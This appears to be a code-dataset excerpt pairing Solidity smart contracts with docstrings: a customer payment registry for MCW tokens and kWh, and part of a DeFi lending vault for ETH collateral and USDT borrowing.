file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
---|---|---|---|
pragma solidity ^0.4.24;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/TxRegistry.sol
/**
* @title Transaction Registry for Customer
* @dev Registry of customer's payments for MCW and payments for KWh.
*/
contract TxRegistry is Ownable {
address public customer;
// @dev Structure for TX data
struct TxData {
uint256 amountMCW;
uint256 amountKWh;
uint256 timestampPaymentMCW;
bytes32 txPaymentKWh;
uint256 timestampPaymentKWh;
}
// @dev Customer's Tx of payment for MCW registry
mapping (bytes32 => TxData) private txRegistry;
// @dev Customer's list of Tx
bytes32[] private txIndex;
/**
* @dev Constructor
* @param _customer the address of a customer for whom the TxRegistry contract is creating
*/
constructor(address _customer) public {
customer = _customer;
}
/**
* @dev Owner can add a new Tx of payment for MCW to the customer's TxRegistry
* @param _txPaymentForMCW the Tx of payment for MCW which will be added
* @param _amountMCW the amount of MCW tokens which will be recorded to the new Tx
* @param _amountKWh the amount of KWh which will be recorded to the new Tx
* @param _timestamp the timestamp of payment for MCW which will be recorded to the new Tx
*/
function addTxToRegistry(
bytes32 _txPaymentForMCW,
uint256 _amountMCW,
uint256 _amountKWh,
uint256 _timestamp
) public onlyOwner returns(bool)
{
require(_txPaymentForMCW != 0 && _amountMCW != 0 && _amountKWh != 0 && _timestamp != 0);
require(txRegistry[_txPaymentForMCW].timestampPaymentMCW == 0);
txRegistry[_txPaymentForMCW].amountMCW = _amountMCW;
txRegistry[_txPaymentForMCW].amountKWh = _amountKWh;
txRegistry[_txPaymentForMCW].timestampPaymentMCW = _timestamp;
txIndex.push(_txPaymentForMCW);
return true;
}
/**
* @dev Owner can mark a customer's Tx of payment for MCW as spent
* @param _txPaymentForMCW the Tx of payment for MCW which will be marked as spent
* @param _txPaymentForKWh the additional Tx of payment for KWh which will be recorded to the original Tx as proof of spend
* @param _timestamp the timestamp of payment for KWh which will be recorded to the Tx
*/
function setTxAsSpent(bytes32 _txPaymentForMCW, bytes32 _txPaymentForKWh, uint256 _timestamp) public onlyOwner returns(bool) {
require(_txPaymentForMCW != 0 && _txPaymentForKWh != 0 && _timestamp != 0);
require(txRegistry[_txPaymentForMCW].timestampPaymentMCW != 0);
require(txRegistry[_txPaymentForMCW].timestampPaymentKWh == 0);
txRegistry[_txPaymentForMCW].txPaymentKWh = _txPaymentForKWh;
txRegistry[_txPaymentForMCW].timestampPaymentKWh = _timestamp;
return true;
}
/**
* @dev Get the customer's Tx of payment for MCW amount
*/
function getTxCount() public view returns(uint256) {
return txIndex.length;
}
/**
* @dev Get the customer's Tx of payment for MCW from customer's Tx list by index
* @param _index the index of a customer's Tx of payment for MCW in the customer's Tx list
*/
function getTxAtIndex(uint256 _index) public view returns(bytes32) {
return txIndex[_index];
}
/**
* @dev Get the customer's Tx of payment for MCW data - amount of MCW tokens which is recorded in the Tx
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getTxAmountMCW(bytes32 _txPaymentForMCW) public view returns(uint256) {
return txRegistry[_txPaymentForMCW].amountMCW;
}
/**
* @dev Get the customer's Tx of payment for MCW data - amount of KWh which is recorded in the Tx
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getTxAmountKWh(bytes32 _txPaymentForMCW) public view returns(uint256) {
return txRegistry[_txPaymentForMCW].amountKWh;
}
/**
* @dev Get the customer's Tx of payment for MCW data - timestamp of payment for MCW which is recorded in the Tx
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getTxTimestampPaymentMCW(bytes32 _txPaymentForMCW) public view returns(uint256) {
return txRegistry[_txPaymentForMCW].timestampPaymentMCW;
}
/**
* @dev Get the customer's Tx of payment for MCW data - Tx of payment for KWh which is recorded in the Tx
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getTxPaymentKWh(bytes32 _txPaymentForMCW) public view returns(bytes32) {
return txRegistry[_txPaymentForMCW].txPaymentKWh;
}
/**
* @dev Get the customer's Tx of payment for MCW data - timestamp of payment for KWh which is recorded in the Tx
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getTxTimestampPaymentKWh(bytes32 _txPaymentForMCW) public view returns(uint256) {
return txRegistry[_txPaymentForMCW].timestampPaymentKWh;
}
/**
* @dev Check the customer's Tx of payment for MCW
* @param _txPaymentForMCW the Tx of payment for MCW which need to be checked
*/
function isValidTxPaymentForMCW(bytes32 _txPaymentForMCW) public view returns(bool) {
bool isValid = false;
if (txRegistry[_txPaymentForMCW].timestampPaymentMCW != 0) {
isValid = true;
}
return isValid;
}
/**
* @dev Check if the customer's Tx of payment for MCW is spent
* @param _txPaymentForMCW the Tx of payment for MCW which need to be checked
*/
function isSpentTxPaymentForMCW(bytes32 _txPaymentForMCW) public view returns(bool) {
bool isSpent = false;
if (txRegistry[_txPaymentForMCW].timestampPaymentKWh != 0) {
isSpent = true;
}
return isSpent;
}
/**
* @dev Check the customer's Tx of payment for KWh
* @param _txPaymentForKWh the Tx of payment for KWh which need to be checked
*/
function isValidTxPaymentForKWh(bytes32 _txPaymentForKWh) public view returns(bool) {
bool isValid = false;
for (uint256 i = 0; i < getTxCount(); i++) {
if (txRegistry[getTxAtIndex(i)].txPaymentKWh == _txPaymentForKWh) {
isValid = true;
break;
}
}
return isValid;
}
/**
* @dev Get the customer's Tx of payment for MCW by Tx payment for KWh
* @param _txPaymentForKWh the Tx of payment for KWh
*/
function getTxPaymentMCW(bytes32 _txPaymentForKWh) public view returns(bytes32) {
bytes32 txMCW = 0;
for (uint256 i = 0; i < getTxCount(); i++) {
if (txRegistry[getTxAtIndex(i)].txPaymentKWh == _txPaymentForKWh) {
txMCW = getTxAtIndex(i);
break;
}
}
return txMCW;
}
}
// File: contracts/McwCustomerRegistry.sol
/**
* @title Customers Registry
* @dev Registry of all customers
*/
contract McwCustomerRegistry is Ownable {
// @dev Key: address of customer wallet, Value: address of customer TxRegistry contract
mapping (address => address) private registry;
// @dev Customers list
address[] private customerIndex;
// @dev Events for dashboard
event NewCustomer(address indexed customer, address indexed txRegistry);
event NewCustomerTx(address indexed customer, bytes32 txPaymentForMCW, uint256 amountMCW, uint256 amountKWh, uint256 timestamp);
event SpendCustomerTx(address indexed customer, bytes32 txPaymentForMCW, bytes32 txPaymentForKWh, uint256 timestamp);
// @dev Constructor
constructor() public {}
/**
* @dev Owner can add a new customer to registry
* @dev Creates a related TxRegistry contract for the new customer
* @dev Related event will be generated
* @param _customer the address of a new customer to add
*/
function addCustomerToRegistry(address _customer) public onlyOwner returns(bool) {
require(_customer != address(0));
require(registry[_customer] == address(0));
address txRegistry = new TxRegistry(_customer);
registry[_customer] = txRegistry;
customerIndex.push(_customer);
emit NewCustomer(_customer, txRegistry);
return true;
}
/**
* @dev Owner can add a new Tx of payment for MCW to the customer's TxRegistry
* @dev Generates the Tx of payment for MCW (hash as proof of payment) and writes the Tx data to the customer's TxRegistry
* @dev Related event will be generated
* @param _customer the address of a customer to whom to add a new Tx
* @param _amountMCW the amount of MCW tokens which will be recorded to the new Tx
* @param _amountKWh the amount of KWh which will be recorded to the new Tx
*/
function addTxToCustomerRegistry(address _customer, uint256 _amountMCW, uint256 _amountKWh) public onlyOwner returns(bool) {
require(isValidCustomer(_customer));
require(_amountMCW != 0 && _amountKWh != 0);
uint256 timestamp = now;
bytes32 txPaymentForMCW = keccak256(
abi.encodePacked(
_customer,
_amountMCW,
_amountKWh,
timestamp)
);
TxRegistry txRegistry = TxRegistry(registry[_customer]);
require(txRegistry.getTxTimestampPaymentMCW(txPaymentForMCW) == 0);
if (!txRegistry.addTxToRegistry(
txPaymentForMCW,
_amountMCW,
_amountKWh,
timestamp))
revert ();
emit NewCustomerTx(
_customer,
txPaymentForMCW,
_amountMCW,
_amountKWh,
timestamp);
return true;
}
/**
* @dev Owner can mark a customer's Tx of payment for MCW as spent
* @dev Generates an additional Tx of paymant for KWh (hash as proof of spend), which connected to the original Tx.
* @dev Related event will be generated
* @param _customer the address of a customer to whom to spend a Tx
* @param _txPaymentForMCW the Tx of payment for MCW which will be marked as spent
*/
function setCustomerTxAsSpent(address _customer, bytes32 _txPaymentForMCW) public onlyOwner returns(bool) {
require(isValidCustomer(_customer));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
require(txRegistry.getTxTimestampPaymentMCW(_txPaymentForMCW) != 0);
require(txRegistry.getTxTimestampPaymentKWh(_txPaymentForMCW) == 0);
uint256 timestamp = now;
bytes32 txPaymentForKWh = keccak256(
abi.encodePacked(
_txPaymentForMCW,
timestamp)
);
if (!txRegistry.setTxAsSpent(_txPaymentForMCW, txPaymentForKWh, timestamp))
revert ();
emit SpendCustomerTx(
_customer,
_txPaymentForMCW,
txPaymentForKWh,
timestamp);
return true;
}
/**
* @dev Get the current amount of customers
*/
function getCustomerCount() public view returns(uint256) {
return customerIndex.length;
}
/**
* @dev Get the customer's address from customers list by index
* @param _index the index of a customer in the customers list
*/
function getCustomerAtIndex(uint256 _index) public view returns(address) {
return customerIndex[_index];
}
/**
* @dev Get the customer's TxRegistry contract
* @param _customer the address of a customer for whom to get TxRegistry contract
*/
function getCustomerTxRegistry(address _customer) public view returns(address) {
return registry[_customer];
}
/**
* @dev Check the customer's address
* @param _customer the address of a customer which need to be checked
*/
function isValidCustomer(address _customer) public view returns(bool) {
require(_customer != address(0));
bool isValid = false;
address txRegistry = registry[_customer];
if (txRegistry != address(0)) {
isValid = true;
}
return isValid;
}
// wrappers on TxRegistry contract
/**
* @dev Get the customer's Tx of payment for MCW amount
* @param _customer the address of a customer for whom to get
*/
function getCustomerTxCount(address _customer) public view returns(uint256) {
require(isValidCustomer(_customer));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 txCount = txRegistry.getTxCount();
return txCount;
}
/**
* @dev Get the customer's Tx of payment for MCW from customer's Tx list by index
* @param _customer the address of a customer for whom to get
* @param _index the index of a customer's Tx of payment for MCW in the customer's Tx list
*/
function getCustomerTxAtIndex(address _customer, uint256 _index) public view returns(bytes32) {
require(isValidCustomer(_customer));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bytes32 txIndex = txRegistry.getTxAtIndex(_index);
return txIndex;
}
/**
* @dev Get the customer's Tx of payment for MCW data - amount of MCW tokens which is recorded in the Tx
* @param _customer the address of a customer for whom to get
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getCustomerTxAmountMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer));
require(_txPaymentForMCW != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 amountMCW = txRegistry.getTxAmountMCW(_txPaymentForMCW);
return amountMCW;
}
/**
* @dev Get the customer's Tx of payment for MCW data - amount of KWh which is recorded in the Tx
* @param _customer the address of a customer for whom to get
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getCustomerTxAmountKWh(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer));
require(_txPaymentForMCW != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 amountKWh = txRegistry.getTxAmountKWh(_txPaymentForMCW);
return amountKWh;
}
/**
* @dev Get the customer's Tx of payment for MCW data - timestamp of payment for MCW which is recorded in the Tx
* @param _customer the address of a customer for whom to get
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getCustomerTxTimestampPaymentMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer));
require(_txPaymentForMCW != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 timestampPaymentMCW = txRegistry.getTxTimestampPaymentMCW(_txPaymentForMCW);
return timestampPaymentMCW;
}
/**
* @dev Get the customer's Tx of payment for MCW data - Tx of payment for KWh which is recorded in the Tx
* @param _customer the address of a customer for whom to get
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getCustomerTxPaymentKWh(address _customer, bytes32 _txPaymentForMCW) public view returns(bytes32) {
require(isValidCustomer(_customer));
require(_txPaymentForMCW != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bytes32 txPaymentKWh = txRegistry.getTxPaymentKWh(_txPaymentForMCW);
return txPaymentKWh;
}
/**
* @dev Get the customer's Tx of payment for MCW data - timestamp of payment for KWh which is recorded in the Tx
* @param _customer the address of a customer for whom to get
* @param _txPaymentForMCW the Tx of payment for MCW for which to get data
*/
function getCustomerTxTimestampPaymentKWh(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer));
require(_txPaymentForMCW != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 timestampPaymentKWh = txRegistry.getTxTimestampPaymentKWh(_txPaymentForMCW);
return timestampPaymentKWh;
}
/**
* @dev Check the customer's Tx of payment for MCW
* @param _customer the address of a customer for whom to check
* @param _txPaymentForMCW the Tx of payment for MCW which need to be checked
*/
function isValidCustomerTxPaymentForMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(bool) {
require(isValidCustomer(_customer));
require(_txPaymentForMCW != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bool isValid = txRegistry.isValidTxPaymentForMCW(_txPaymentForMCW);
return isValid;
}
/**
* @dev Check if the customer's Tx of payment for MCW is spent
* @param _customer the address of a customer for whom to check
* @param _txPaymentForMCW the Tx of payment for MCW which need to be checked
*/
function isSpentCustomerTxPaymentForMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(bool) {
require(isValidCustomer(_customer));
require(_txPaymentForMCW != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bool isSpent = txRegistry.isSpentTxPaymentForMCW(_txPaymentForMCW);
return isSpent;
}
/**
* @dev Check the customer's Tx of payment for KWh
* @param _customer the address of a customer for whom to check
* @param _txPaymentForKWh the Tx of payment for KWh which need to be checked
*/
function isValidCustomerTxPaymentForKWh(address _customer, bytes32 _txPaymentForKWh) public view returns(bool) {
require(isValidCustomer(_customer));
require(_txPaymentForKWh != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bool isValid = txRegistry.isValidTxPaymentForKWh(_txPaymentForKWh);
return isValid;
}
/**
* @dev Get the customer's Tx of payment for MCW by Tx payment for KWh
* @param _customer the address of a customer for whom to get
* @param _txPaymentForKWh the Tx of payment for KWh
*/
function getCustomerTxPaymentMCW(address _customer, bytes32 _txPaymentForKWh) public view returns(bytes32) {
require(isValidCustomer(_customer));
require(_txPaymentForKWh != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
bytes32 txMCW = txRegistry.getTxPaymentMCW(_txPaymentForKWh);
return txMCW;
}
}
|
Get the customer's Tx of payment for MCW data - timestamp of payment for MCW which is recorded in the Tx _customer the address of a customer for whom to get _txPaymentForMCW the Tx of payment for MCW for which to get data/
|
function getCustomerTxTimestampPaymentMCW(address _customer, bytes32 _txPaymentForMCW) public view returns(uint256) {
require(isValidCustomer(_customer));
require(_txPaymentForMCW != bytes32(0));
TxRegistry txRegistry = TxRegistry(registry[_customer]);
uint256 timestampPaymentMCW = txRegistry.getTxTimestampPaymentMCW(_txPaymentForMCW);
return timestampPaymentMCW;
}
| 10,313,148 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHUSDT is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == _fujiAdmin.getController() || msg.sender == owner(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); // USDT
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) public onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into account all balances across providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of DAI in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) public onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
interface IVault {
// Events
// Log Users Deposit
event Deposit(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users withdraw
